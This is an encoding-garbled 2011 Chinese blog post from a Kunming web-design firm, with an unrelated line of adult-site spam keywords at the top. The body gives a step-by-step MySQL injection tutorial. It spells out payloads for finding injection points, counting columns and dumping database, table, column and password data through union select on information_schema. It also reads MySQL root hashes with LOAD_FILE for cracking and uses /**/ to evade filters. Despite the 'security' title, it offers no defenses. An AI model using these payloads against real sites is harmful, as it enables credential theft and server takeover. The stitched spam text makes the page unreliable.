久久精品2019中文字幕国语_欧美成人精品视频在线观看_台湾自拍偷区亚洲综合网_老色鬼在线精品视频在线播放

云南網(wǎng)站建設(shè)創(chuàng)新企業(yè) 昆明多彩網(wǎng)絡(luò)公司

在線qq:540105663

網(wǎng)站制作安全之mysql注入技巧

來(lái)源:昆明多彩網(wǎng)絡(luò)公司 日期:2011-09-19 閱讀: 發(fā)表評(píng)論

mysql注入指得是通過(guò)程序的漏洞(比如沒(méi)有過(guò)濾),通過(guò)執(zhí)行sql語(yǔ)句進(jìn)行入侵網(wǎng)站并最終得到服務(wù)器權(quán)限的行為

 mysql注入大致流程:

1、得到注入點(diǎn),在頁(yè)面參數(shù)后面加'或者and 1=1和and 1=2測(cè)試,如果程序報(bào)錯(cuò)或者有一些異常情況(比如執(zhí)行結(jié)果不同)發(fā)生則表明該頁(yè)面有漏洞存在。

2、在參數(shù)后面加入 order by 10,10,如果沒(méi)有什么反應(yīng)則將后面的10繼續(xù)增加,如果報(bào)錯(cuò)就說(shuō)明字段數(shù)少于該數(shù)。

3、暴數(shù)據(jù)庫(kù)名,假設(shè)當(dāng)前被注入表的字段數(shù)有3個(gè),通過(guò)下面兩種方式得到

   3.1 union select database(),user(),version()

  3.1 在后面加入 union select 1,SCHEMA_NAME,3 from information_schema.SCHEMATA limit 2,1,將得到數(shù)據(jù)庫(kù)名稱,第一個(gè)數(shù)據(jù)庫(kù)為information_schema

4、暴表名,and 1=2 union select 1,table_name,3 from (select * from information_schema.tables where table_schema=0x6861636B)t limit 0,1    0x6861636B為數(shù)據(jù)庫(kù)名稱轉(zhuǎn)成了16進(jìn)制,用小葵花工具轉(zhuǎn)換得到,通過(guò)上一步可以得到,注意limit前面的t不能省略。

5、暴字段名 and 1=2 union select 1,2,column_name from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=0x6861636B)t limit 0,1;0x61646D696E為表名,table_schema為字段名。

6、union select 1,"字段1","字段2" from "表名" limit 0,1,就可以得到帳戶和密碼了。

7、其他:得到root的密碼通過(guò)LOAD_FILE(’C:\..\MYSQL\DATA\MYSQL\USER.MYD’)得到用戶的HASH散列,之后用CAIN爆破…如果程序過(guò)濾了空格,可以使用/**/相當(dāng)于空格作用

發(fā)表評(píng)論評(píng)論列表(有 條評(píng)論)